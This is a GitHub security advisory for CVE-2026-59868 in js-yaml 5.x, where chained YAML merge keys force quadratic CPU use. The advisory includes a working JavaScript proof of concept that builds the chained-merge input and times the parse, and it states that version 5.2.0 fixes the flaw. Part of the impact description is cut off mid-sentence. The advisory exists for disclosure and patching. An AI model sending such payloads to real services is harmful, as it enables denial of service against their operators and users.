GitHub Advisoryadvisory · npm
GHSA-g796-fgmg-93mv js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
MEDIUM
Official page ↗
- Aliases
- CVE-2026-59868
- Ecosystem
- npm
- Packages
- js-yaml
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-400, CWE-407, CWE-770
- Reviewed
- 2026-07-20
Affected packages
• npm js-yaml: >= 5.0.0, < 5.2.0 → fixed in 5.2.0
Description
Impact
This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default
When merge keys (` 1s (doc size < 100K)
```js
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)
```
Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
Related
Alias · CVE (1)
- CVE-2026-59868 js-yaml is a JavaScript YAML parser and dumper. vulnerability
References
- https://github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv web
- https://nvd.nist.gov/vuln/detail/CVE-2026-59868 advisory
- https://github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1 web
- https://github.com/nodeca/js-yaml package
- https://github.com/nodeca/js-yaml/releases/tag/5.2.0 web